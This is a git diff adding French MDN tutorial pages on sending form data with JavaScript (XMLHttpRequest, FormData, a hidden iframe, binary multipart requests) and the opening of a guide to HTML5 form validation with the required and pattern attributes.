+  XHR.send(urlEncodedData);
+}</pre>
+
+<p>Voici le résultat en direct :</p>
+
+<p>{{EmbedLiveSample("Construire_manuellement_un_XMLHttpRequest", "100%", 50)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette utilisation de {{domxref("XMLHttpRequest")}} est assujettie à la politique « même origine » si vous voulez envoyer des données à un site web tiers. Pour les demandes d'origine croisée, vous aurez besoin d'un contrôle d'accès <a href="/fr/docs/HTTP/Access_control_CORS">CORS et HTTP</a>.</p>
+</div>
+
+<h3 id="Utilisation_de_XMLHttpRequest_et_de_l'objet_FormData">Utilisation de XMLHttpRequest et de l'objet FormData</h3>
+
+<p>Construire manuellement une requête HTTP peut devenir fastidieux. Heureusement, une <a href="http://www.w3.org/TR/XMLHttpRequest/">spécification XMLHttpRequest</a> récente fournit un moyen pratique et plus simple pour traiter les demandes de données de formulaire avec l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}}.</p>
+
+<p>L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} peut s'utiliser pour construire des données de formulaire pour la transmission ou pour obtenir les données des élément de formulaire de façon à gérer leur mode d'envoi. Notez que les objets {{domxref("XMLHttpRequest/FormData", "FormData")}} sont en écriture seule (« write only »), ce qui signifie que vous pouvez les modifier, mais pas récupérer leur contenu.</p>
+
+<p>L'utilisation de cet objet est détaillée dans <a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData">Utiliser les objets FormData</a>, mais voici deux exemples :</p>
+
+<h4 id="Utiliser_un_objet_FormData_autonome">Utiliser un objet FormData autonome</h4>
+
+<pre class="brush: html">&lt;button type="button" onclick="sendData({test:'ok'})"&gt;Cliquez ici !&lt;/button&gt;</pre>
+
+<p>Vous devriez être familier de cet exemple HTML.</p>
+
+<pre class="brush: js">function sendData(data) {
+  var XHR = new XMLHttpRequest();
+  var FD  = new FormData();
+
+  // Mettez les données dans l'objet FormData
+  for(name in data) {
+    FD.append(name, data[name]);
+  }
+
+  // Définissez ce qui se passe si la soumission s'est opérée avec succès
+  XHR.addEventListener('load', function(event) {
+    alert('Ouais ! Données envoyées et réponse chargée.');
+  });
+
+  // Definissez ce qui se passe en cas d'erreur
+  XHR.addEventListener('error', function(event) {
+    alert('Oups! Quelque chose s\'est mal passé.');
+  });
+
+  // Configurez la requête
+  XHR.open('POST', 'https://example.com/cors.php');
+
+  // Expédiez l'objet FormData ; les en-têtes HTTP sont automatiquement définies
+  XHR.send(FD);
+}</pre>
+
+<p>Voici le résultat directement :</p>
+
+<p>{{EmbedLiveSample("Utiliser_un_objet_FormData_autonome", "100%", 60)}}</p>
+
+<h4 id="Utiliser_un_objet_FormData_lié_à_un_élément_form">Utiliser un objet FormData lié à un élément form</h4>
+
+<p>Vous pouvez également lier un objet <code>FormData</code> à un élément {{HTMLElement("form")}} et  créer ainsi un <code>FormData</code> représentant les données contenues dans le formulaire.</p>
+
+<p>Le HTML est classique :</p>
+
+<pre class="brush: html">&lt;form id="myForm"&gt;
+  &lt;label for="myName"&gt;Dites-moi votre nom :&lt;/label&gt;
+  &lt;input id="myName" name="name" value="John"&gt;
+  &lt;input type="submit" value="Envoyer !"&gt;
+&lt;/form&gt;</pre>
+
+<p>Mais JavaScript sera de la forme :</p>
+
+<pre class="brush: js">window.addEventListener("load", function () {
+  function sendData() {
+    var XHR = new XMLHttpRequest();
+
+    // Liez l'objet FormData et l'élément form
+    var FD = new FormData(form);
+
+    // Définissez ce qui se passe si la soumission s'est opérée avec succès
+    XHR.addEventListener("load", function(event) {
+      alert(event.target.responseText);
+    });
+
+    // Definissez ce qui se passe en cas d'erreur
+    XHR.addEventListener("error", function(event) {
+      alert('Oups! Quelque chose s\'est mal passé.');
+    });
+
+    // Configurez la requête
+    XHR.open("POST", "https://example.com/cors.php");
+
+    // Les données envoyées sont ce que l'utilisateur a mis dans le formulaire
+    XHR.send(FD);
+  }
+
+  // Accédez à l'élément form …
+  var form = document.getElementById("myForm");
+
+  // … et prenez en charge l'événement submit.
+  form.addEventListener("submit", function (event) {
+    event.preventDefault();
+
+    sendData();
+  });
+});</pre>
+
+<p>Voici le résultat en direct :</p>
+
+<p>{{EmbedLiveSample("Utiliser_un_objet_FormData_lié_à_un_élément_form", "100%", 70)}}</p>
+
+<p>Vous pouvez même intervenir davantage dans le processus en utilisant la propriété {{domxref("HTMLFormElement.elements", "elements")}} du formulaire pour obtenir une liste de tous les éléments de données du formulaire et les gérer chacun individuellement dans le programme. Pour en savoir plus, voir l'exemple dans la {{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}.</p>
+
+<h3 id="Construire_un_DOM_dans_un_iframe_caché">Construire un DOM dans un <code>iframe</code> caché</h3>
+
+<p>La plus ancienne façon d'expédier des données de formulaire de manière asynchrone consiste à construire un formulaire avec l'API DOM, puis d'envoyer ses données dans un {{HTMLElement("iframe")}} caché. Pour accéder au résultat de votre envoi, il suffit de récupérer le contenu de l'élément {{HTMLElement("iframe")}}.</p>
+
+<div class="warning">
+<p><strong>Avertissement :</strong> <strong>Évitez d'employer cette technique.</strong> Il y a des risques concernant la sécurité avec des services tierce-partie car vous laissez ouverte la possibilité d'une <a href="https://fr.wikipedia.org/wiki/Cross-site_scripting" rel="external">attaque par injection de script</a>. Si vous utilisez HTTPS, il reste possible de perturber la <a href="/fr/docs/JavaScript/Same_origin_policy_for_JavaScript">politique de la même origine</a>, ce qui peut rendre le contenu de l'élément {{HTMLElement("iframe")}} inatteignable. Toutefois, cette méthode peut être votre seule possibilité si vous devez prendre en charge des navigateurs très anciens.</p>
+</div>
+
+<p>Voici un exemple :</p>
+
+<pre class="brush: html">&lt;button onclick="sendData({test:'ok'})"&gt;Cliquez ici !&lt;/button&gt;</pre>
+
+<pre class="brush: js">// Créer l'iFrame servant à envoyer les données
+var iframe = document.createElement("iframe");
+iframe.name = "myTarget";
+
+// Puis, attachez l'iFrame au document principal
+window.addEventListener("load", function () {
+  iframe.style.display = "none";
+  document.body.appendChild(iframe);
+});
+
+// Voici la fonction réellement utilisée pour expédier les données
+// Elle prend un paramètre, qui est un objet chargé des paires clé/valeurs.
+function sendData(data) {
+  var name,
+      form = document.createElement("form"),
+      node = document.createElement("input");
+
+  // Définir ce qui se passe quand la réponse est chargée
+  iframe.addEventListener("load", function () {
+    alert("Ouais ! Données envoyés.");
+  });
+
+  form.action = "http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi";
+  form.target = iframe.name;
+
+  for(name in data) {
+    node.name  = name;
+    node.value = data[name].toString();
+    form.appendChild(node.cloneNode());
+  }
+
+  // Pour être envoyé, le formulaire nécessite d'être attaché au document principal.
+  form.style.display = "none";
+  document.body.appendChild(form);
+
+  form.submit();
+
+  // Une fois le formulaire envoyé, le supprimer.
+  document.body.removeChild(form);
+}</pre>
+
+<p>Voici le résultat en direct :</p>
+
+<p>{{EmbedLiveSample('Construire_un_DOM_dans_un_iframe_caché', "100%", 50)}}</p>
+
+<p> </p>
+
+<h2 id="Gestion_des_données_binaires"><span>Gestion des données binaires</span></h2>
+
+<p>Si vous utilisez un objet {{domxref("XMLHttpRequest/FormData", "FormData")}} avec un formulaire qui inclut des widgets <code>&lt;input type="file"&gt;</code>, les données seront traitées automatiquement. Mais pour envoyer des données binaires à la main, il y a un travail supplémentaire à faire.</p>
+
+<p>Il existe de nombreuses sources de données binaires sur le Web moderne : {{domxref("FileReader")}}, {{domxref("HTMLCanvasElement", "Canvas")}} et <a href="/fr/docs/WebRTC/navigator.getUserMedia">WebRTC</a>, par exemple. Malheureusement, certains anciens navigateurs ne peuvent pas accéder aux données binaires ou nécessitent des solutions de contournement compliquées. Ces cas hérités sont hors du champ d'application de cet article. Si vous voulez en savoir plus sur l'API FileReader, lisez <a href="/fr/docs/Using_files_from_web_applications">Utiliser les fichiers des applications Web</a>.</p>
+
+<p>Envoyer des données binaires avec le support de {{domxref("XMLHttpRequest/FormData", "FormData")}} est direct. Utilisez la méthode append() et vous avez terminé. Si vous devez le faire à la main, c'est plus délicat.</p>
+
+<p>Dans l'exemple suivant, nous utilisons l'API {{domxref("FileReader")}} pour accéder aux données binaires et ensuite nous construisons à la main la demande de données du formulaire en plusieurs parties :</p>
+
+<pre class="brush: html">&lt;form id="myForm"&gt;
+  &lt;p&gt;
+    &lt;label for="i1"&gt;Données textuelles :&lt;/label&gt;
+    &lt;input id="i1" name="myText" value="Quelques données textuelles"&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="i2"&gt;Fichier de données :&lt;/label&gt;
+    &lt;input id="i2" name="myFile" type="file"&gt;
+  &lt;/p&gt;
+  &lt;button&gt;Envoyer !&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Comme vous pouvez le voir, le HTML est un <code>&lt;form&gt;</code>standard. Il n'y a rien de magique là‑dedans. La « magie » est dans le JavaScript :</p>
+
+<pre class="brush: js">// Comme nous voulons avoir accès à un nœud DOM,
+// nous initialisons le script au chargement de la page.
+window.addEventListener('load', function () {
+
+  // Ces variables s'utilisent pour stocker les données du formulaire
+  var text = document.getElementById("i1");
+  var file = {
+        dom    : document.getElementById("i2"),
+        binary : null
+      };
+
+  // Nous utilisons l'API de FileReader pour accéder au contenu du fichier
+  var reader = new FileReader();
+
+  // Comme FileReader est asynchrone, stockons son résulata
+  // quand il a fini de lire le fichier
+  reader.addEventListener("load", function () {
+    file.binary = reader.result;
+  });
+
+  // Au chargement de la page, si un fichier est déjà choisi, lisons‑le
+  if(file.dom.files[0]) {
+    reader.readAsBinaryString(file.dom.files[0]);
+  }
+
+  // Sinon, lisons le fichier une fois que l'utilisateur l'a sélectionné
+  file.dom.addEventListener("change", function () {
+    if(reader.readyState === FileReader.LOADING) {
+      reader.abort();
+    }
+
+    reader.readAsBinaryString(file.dom.files[0]);
+  });
+
+  // sendData est notre fonction principale
+  function sendData() {
+    // S'il y a un fichier sélectionné, attendre sa lecture
+    // Sinon, retarder l'exécution de la fonction
+    if(!file.binary &amp;&amp; file.dom.files.length &gt; 0) {
+      setTimeout(sendData, 10);
+      return;
+    }
+
+    // Pour construire notre requête de données de formulaire en plusieurs parties
+    // nous avons besoin d'une instance de XMLHttpRequest
+    var XHR = new XMLHttpRequest();
+
+    // Nous avons besoin d'un séparateur pour définir chaque partie de la requête
+    var boundary = "blob";
+
+    // Stockons le corps de la requête dans une chaîne littérale
+    var data = "";
+
+    // Ainsi, si l'utilisateur a sélectionné un fichier
+    if (file.dom.files[0]) {
+      // Lancer une nouvelle partie de la requête du corps
+      data += "--" + boundary + "\r\n";
+
+      // Décrivons là comme étant des données du formulaire
+      data += 'content-disposition: form-data; '
+      // Définissons le nom des données du formulaire
+            + 'name="'         + file.dom.name          + '"; '
+      // Fournissons le vrai nom du fichier
+            + 'filename="'     + file.dom.files[0].name + '"\r\n';
+      // et le type MIME du fichier
+      data += 'Content-Type: ' + file.dom.files[0].type + '\r\n';
+
+      // Il y a une ligne vide entre les métadonnées et les données
+      data += '\r\n';
+
+      // Ajoutons les données binaires à la requête du corps
+      data += file.binary + '\r\n';
+    }
+
+    // C'est plus simple pour les données textuelles
+    // Démarrons une nouvelle partie dans notre requête du corps
+    data += "--" + boundary + "\r\n";
+
+    // Disons que ce sont des données de formulaire et nommons les
+    data += 'content-disposition: form-data; name="' + text.name + '"\r\n';
+    // Il y a une ligne vide entre les métadonnées et les données
+    data += '\r\n';
+
+    // Ajoutons les données textuelles à la requête du corps
+    data += text.value + "\r\n";
+
+    // Ceci fait, "fermons" la requête du corps
+    data += "--" + boundary + "--";
+
+    // Définissons ce qui arrive en cas de succès pour la soumission des données
+    XHR.addEventListener('load', function(event) {
+      alert('Ouais ! Données expédiées et réponse chargée.');
+    });
+
+    // Définissons ce qui se passe en cas d'eerreur
+    XHR.addEventListener('error', function(event) {
+      alert('Oups! Quelque chose s\'est mal passé.');
+    });
+
+    // Configurons la requête
+    XHR.open('POST', 'https://example.com/cors.php');
+
+    // Ajoutons l'en-tête requise pour gèrer la requête POST des données
+    // de formulaire en plusieurs parties
+    XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
+
+    // et finalement, expédions les données.
+    XHR.send(data);
+  }
+
+  // Accéder au formulaire …
+  var form = document.getElementById("myForm");
+
+  // … pour prendre en charge l'événement soumission
+  form.addEventListener('submit', function (event) {
+    event.preventDefault();
+    sendData();
+  });
+});</pre>
+
+<p>Voici le résultat en direct :</p>
+
+<p>{{EmbedLiveSample('Gestion_des_données_binaires', "100%", 150)}}</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Selon le navigateur, l'envoi de données de formulaire par JavaScript peut être facile ou difficile. L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} en est généralement la cause et n'hésitez pas à utiliser un « polyfill » (<a href="https://fr.wikipedia.org/wiki/Polyfill">prothèse d'émulation</a>) pour cela sur les navigateurs anciens :</p>
+
+<ul>
+ <li><a href="https://gist.github.com/3120320" rel="external">Ces primitives</a> sont des « polyfills » de  <code>FormData</code> avec des {{domxref("Using_web_workers","worker")}}.</li>
+ <li><a href="https://github.com/francois2metz/html5-formdata" rel="external">HTML5-formdata</a> tente d'opérer un « polyfill » de l'objet <code>FormData</code>, mais il requiert un <a href="http://www.w3.org/TR/FileAPI/" rel="external">File API</a></li>
+ <li><a href="https://github.com/jimmywarting/FormData">Ce « polyfill »</a> fournit la plupart des nouvelles méthodes dont <code>FormData</code> dispose (entrées, clés, valeurs et prise en charge de <code>for...of</code>)</li>
+</ul>
+
+<p> </p>
+
+<div>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p> </p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/validation_donnees_formulaire/index.html b/files/fr/web/guide/html/formulaires/validation_donnees_formulaire/index.html
new file mode 100644
index 0000000000..ccbac0ef15
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/validation_donnees_formulaire/index.html
@@ -0,0 +1,874 @@
+---
+title: Validation des données de formulaires
+slug: Web/Guide/HTML/Formulaires/Validation_donnees_formulaire
+tags:
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Intermédiaire
+  - JavaScript
+  - Web
+translation_of: Learn/Forms/Form_validation
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont dans un format correct pour pouvoir être traitées correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser les applications. La validation des données de formulaire vous aide à remplir ces objectifs — cet article indique ce qu'il est nécessaire de savoir.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prérequis :</th>
+   <td>Notions concernant les ordinateurs, une bonne compréhension du <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a>, des <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a> et de <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectif :</th>
+   <td>Comprendre ce qu'est la validation d'un formulaire, pourquoi c'est important et comment la mettre en œuvre.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Qu'est‑ce_qu'une_validation_de_formulaire">Qu'est‑ce qu'une validation de formulaire?</h2>
+
+<p>Allez sur n'importe quel site à la mode avec un formulaire d'inscription et vous remarquerez des retours si vous n'entrez pas les données dans le format attendu. Vous aurez des messages comme :</p>
+
+<ul>
+ <li>« Ce champ est obligatoire » (vous ne pouvez pas le laisser vide)</li>
+ <li>« Veuillez entrer votre numéro de téléphone au format xxx-xxxx » (il attend trois chiffres suivis d'un tiret, suivi de quatre chiffres).</li>
+ <li>« Veuillez entrer une adresse e-mail valide » (ce que vous avez saisi ne ressemble pas à une adresse e-mail valide).</li>
+ <li>« Votre mot de passe doit comporter entre 8 et 30 caractères et contenir une majuscule, un symbole et un chiffre » (sérieusement ?).</li>
+</ul>
+
+<p>C'est ce qu'on appelle la validation de formulaire —  lorsque vous saisissez des données, l'application Web vérifie si elles sont correctes. Si elles sont correctes, l'application permet que les données soient soumises au serveur et (généralement) sauvegardées dans une base de données ; si ce n'est pas le cas, elle émet des messages d'erreur pour expliquer ce que vous avez fait de mal (pour autant que vous l'ayez fait). La validation des formulaires peut être mise en œuvre de différentes manières.</p>
+
+<p>La vérité est qu'aucun d'entre nous n'<em>aime</em> remplir des formulaires — les formulaires ennuient les utilisateurs, tout le prouve : cela les incite à partir et à aller voir ailleurs s'ils sont mal faits. Bref, les formulaires, c'est nullissime.</p>
+
+<p>Remplir des formulaires web doit être aussi facile que possible. Alors pourquoi être tatillons et bloquer les utilisateurs à chaque fois ? Il y a trois raisons principales :</p>
+
+<ul>
+ <li><strong>obtenir de bonnes données dans un bon format</strong> — les applications ne tourneront pas correctement si les données utilisateur sont stockées dans un format fantaisiste, ou si les bonnes informations ne sont pas aux bons endroits ou totalement omises.</li>
+ <li><strong>protéger nos utilisateurs</strong> — s'ils entrent un mot de passe facile à deviner ou aucun, des utilisateurs malveillants peuvent aisément accéder à leurs comptes et voler leurs données.</li>
+ <li><strong>nous protéger nous‑mêmes</strong> — il existe de nombreuses façons dont les utilisateurs malveillants peuvent utiliser les formulaires non protégés pour endommager l'application dans laquelle ils se trouvent (voir <a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Sécurité du site Web</a>).</li>
+</ul>
+
+<h3 id="Les_divers_types_de_validation_de_formulaire">Les divers types de validation de formulaire</h3>
+
+<p>Vous rencontrerez différents types de validation de formulaires sur le Web :</p>
+
+<ul style="list-style-type: disc;">
+ <li>La validation côté client est la validation qui est effectuée dans le navigateur, avant que les données n'aient été soumises au serveur. Cette méthode est plus conviviale que la validation côté serveur car elle donne une réponse instantanée. Il est possible de la subdiviser encore avec :
+  <ul>
+   <li>la validation JavaScript, codée en JavaScript, entièrement personnalisable.</li>
+   <li>la validation de formulaire intégrée avec les fonctions de validation de formulaire HTML5. Elle ne nécessite généralement pas de JavaScript, a de meilleures performances, mais elle n'est pas aussi personnalisable.</li>
+  </ul>
+ </li>
+</ul>
+
+<dl>
+</dl>
+
+<ul>
+ <li>La validation côté serveur est la validation opérée sur le serveur, après que les données ont été soumises — le code côté serveur est utilisé pour valider les données avant de les mettre dans la base de données. Si elles sont erronées, une réponse est envoyée au client pour dire à l'utilisateur ce qui a mal tourné. La validation côté serveur n'est pas aussi conviviale que la validation côté client, car elle nécessite un aller-retour vers le serveur, mais c'est la dernière ligne de défense de votre application contre les mauvaises données (c'est-à-dire les données incorrectes, voire malveillantes). Tous les modèles de canevas de vérification courants côté serveur ont des fonctions de validation et de nettoyage des données (ce qui les sécurise).</li>
+</ul>
+
+<p>Dans le monde réel, les développeurs ont tendance à utiliser une combinaison de validations côté client et côté serveur, pour être du côté sûr.</p>
+
+<h2 id="Utiliser_la_validation_intégrée_au_formulaire">Utiliser la validation intégrée au formulaire</h2>
+
+<p>Une des caractéristiques de <a href="/fr/docs/HTML/HTML5">HTML5</a> est la possibilité de valider la plupart des données utilisateur sans avoir recours à des scripts. Ceci se fait en utilisant des <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">attributs de validation</a> sur les éléments de formulaire ; ils vous permettent de spécifier des règles pour une entrée de formulaire comme : une valeur doit‑elle être remplie ? y a-t-il une longueur minimale et/ou maximale des données ? doit‑elle être un nombre, une adresse e-mail ou autre chose ? doit‑elle correspondre à un modèle ? Si les données saisies suivent toutes ces règles, elles sont considérées comme valides ; si ce n'est pas le cas, elles sont considérées comme non valides.<br>
+ Quand un élément est valide :</p>
+
+<ul>
+ <li>l'élément correspond à la pseudo‑classe CSS {{cssxref(":valid")}}  ; cela vous permet d'appliquer une composition de style distinctive.</li>
+ <li>si l'utilisateur essaie d'envoyer les données, le navigateur soumet le formulaire pour autant qu'il n'y ait rien d'autre qui l'empêche de le faire (par ex. du JavaScript).</li>
+</ul>
+
+<p>Quand un élément est invalide :</p>
+
+<ul>
+ <li>l'élément correspond à la pseudo‑classe CSS {{cssxref(":invalid")}}  ; cela vous permet d'appliquer une composition de style distinctive.</li>
+ <li>si l'utilisateur essaie d'envoyer le formulaire, le navigateur le bloquera et affichera un message d'erreur.</li>
+</ul>
+
+<h3 id="Contraintes_de_validation_sur_les_éléments_d'entrée_—_simple_début">Contraintes de validation sur les éléments d'entrée — simple début</h3>
+
+
+
+<p>Dans cette section, nous examinerons quelques unes des diverses fonctionnalités HTML5 peuvant être utilisées pour valider des éléments d'{{HTMLElement("input")}}.</p>
+
+<p>Commençons par un exemple simple — une entrée ouvrant un choix, selon votre préférence, entre banane ou cerise. Il faut un texte {{HTMLElement("input")}} simple avec une étiquette correspondante et un {{htmlelement("button")}} de soumission. Le code source est sur GitHub à l'adresse <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> et un exemple « live » ci-dessous :</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="choose"&gt;Préférez‑vous la banane ou la cerise ?&lt;/label&gt;
+  &lt;input id="choose" name="i_like"&gt;
+  &lt;button&gt;Soumettre&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<pre class="brush: css">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 1px solid black;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code", "100%", 55)}}</p>
+
+<p>Pour commencer, faites une copie de fruit-start.html dans un nouveau répertoire sur votre disque dur.</p>
+
+<h3 id="L'attribut_required">L'attribut required</h3>
+
+<p>La fonctionnalité de validation HTML5 la plus simple à utiliser est l'attribut {{htmlattrxref("required", "input")}}} — si vous voulez rendre une entrée obligatoire, vous pouvez marquer l'élément en utilisant cet attribut. Lorsque cet attribut est mis, le formulaire ne sera pas soumis (et affichera un message d'erreur) si l'entrée est vide (l'entrée sera également considérée comme invalide).</p>
+
+<p>Ajoutez un attribut <code>required</code> à votre saisie, comme montré ci‑dessous :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="choose"&gt;Préférez-vous la banane ou la cerise ?&lt;/label&gt;
+  &lt;input id="choose" name="i_like" required&gt;
+  &lt;button&gt;Soumettre&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Notez aussi le CSS incorporé dans le fichier exemple :</p>
+
+<pre class="brush: css">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 1px solid black;
+}</pre>
+
+<p>L'entrée a une bordure en pointillés rouge vif lorsqu'elle n'est pas valide, et une bordure noire plus subtile lorsqu'elle est valide. Essayez le nouveau comportement dans l'exemple ci-dessous :</p>
+
+<p>{{EmbedLiveSample("L'attribut_required", "100%", 55)}}</p>
+
+<h3 id="Validation_selon_une_expression_régulière">Validation selon une expression régulière</h3>
+
+<p>Une autre fonctionnalité de validation très courante est l'attribut {{htmlattrxref("pattern", "input")}}, qui attend une <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">expression régulière</a> comme valeur. Une expression régulière (regex) est un modèle qui peut être utilisé pour faire correspondre des combinaisons de caractères dans des chaînes de texte, de sorte qu'elles sont idéales pour la validation de formulaires (ainsi que diverses autres utilisations en JavaScript). Les Regex sont assez complexes et nous n'avons pas l'intention de vous les enseigner de manière exhaustive dans cet article.</p>
+
+<p>Vous trouverez ci-dessous quelques exemples pour vous donner une idée de base de leur fonctionnement :</p>
+
+<ul>
+ <li><code>a</code> — correspond à un caractère qui doit être un a (ni b, ni aa, etc.)</li>
+ <li><code>abc</code> — correspond à <code>a</code>, suivi de <code>b</code>, suivi de <code>c</code>.</li>
+ <li><code>a*</code> — correspond au caractère a, absent ou présent plusieurs fois (<code>+</code> correspond à un caractère une ou plusieurs fois).</li>
+ <li><code>[^a]</code> — correspond à un caractère qui <strong>n'est pas</strong> un a.</li>
+ <li><code>a|b</code> — correspond à un caractère qui est a ou b.</li>
+ <li><code>[abc]</code> — correspond à un caractère qui est a, b ou c.</li>
+ <li><code>[^abc]</code> — correspond à un caractère qui <strong>n'est pas</strong> a, b ou c.</li>
+ <li><code>[a-z]</code> — correspond à tout caractère de la plage a–z, en minuscules seulement (utilisez <code>[A-Za-z]</code> pour minuscules et majuscules et <code>[A-Z]</code> pour les majuscules uniquement).</li>
+ <li><code>a.c</code> — correspond à a, suivi par n'importe quel caractère,suivi par c.</li>
+ <li><code>a{5}</code> — correspond à a, 5 fois.</li>
+ <li><code>a{5,7}</code> — correspond à  a, 5 à 7 fois, mais ni plus, ni moins.</li>
+</ul>
+
+<p>Vous pouvez utiliser des nombres ou d'autres caractères dans ces expressions, comme :</p>
+
+<ul>
+ <li><code>[ -]</code> — correspond à une espace ou un tiret.</li>
+ <li><code>[0-9]</code> — correspond à tout nombre compris entre 0 et 9.</li>
+</ul>
+
+<p>Vous pouvez combiner cela pratiquement comme vous l'entendez en précisant les différentes parties les unes après les autres :</p>
+
+<ul>
+ <li><code>[Ll].*k</code> — Un seul caractère L en majuscules ou minuscules, suivi de zéro ou plusieurs caractères de n'importe quel type, suivis par un k minuscules.</li>
+ <li><code>[A-Z][A-Za-z' -]+</code> — Un seul caractère en majuscules suivi par un ou plusieurs caractères en majuscules ou minuscules, un tiret, une apostrophe ou une espace. Cette combinaison peut s'utiliser pour valider les nom de villes dans les pays anglo‑saxons ; ils débutent par une majuscule et ne contiennent pas d'autre caractère. Quelques exemples de ville de GB correspondant à ce schéma : Manchester, Ashton-under-lyne et Bishop's Stortford.</li>
+ <li><code>[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}</code> — Un schéma pour un numéro de téléphone intérieur américain — trois chiffres, suivis par une espace ou un tiret, suivis par trois nombres, suivis par une espace ou un tiret, suivis par quatre nombres. Vous aurez peut-être à faire plus compliqué, car certains écrivent leur numéro de zone entre parenthèses, mais ici il s'agit simplement de faire une démonstration.</li>
+</ul>
+
+<p>Voyons un exemple — mettons à jour notre HTML en y ajoutant un attribut <code>pattern</code>, ainsi :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;form&gt;
+  &lt;label for="choose"&gt;Préférez‑vous la banane ou la cerise ?&lt;/label&gt;
+  &lt;input id="choose" name="i_like" required pattern="banane|cerise"&gt;
+  &lt;button&gt;Soumettre&lt;/button&gt;
+&lt;/form&gt;</code></pre>
+
+<div class="hidden">
+<pre class="brush: css line-numbers  language-css"><code class="language-css">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 1px solid black;
+}</code></pre>
+</div>
+
+<p>{{EmbedLiveSample("Validation_selon_une_expression_régulière", "100%", 55)}}</p>
+
+<p>Dans cet exemple, l'élément {{HTMLElement("input")}}} accepte l'une des deux valeurs possibles : la chaîne « banane » ou la chaîne « cerise ».</p>
+
+<p>Maintenant, essayez de changer la valeur à l'intérieur de l'attribut <code>pattern</code> suivant certains exemples vus plus haut et regardez comment les valeurs entrées en sont affectées pour rester valides. Écrivez vos propres textes et voyez comment vous vous en sortez ! Restez dans le domaine des fruits dans la mesure du possible, afin que vos exemples aient du sens !</p>
+
+<div class="note">
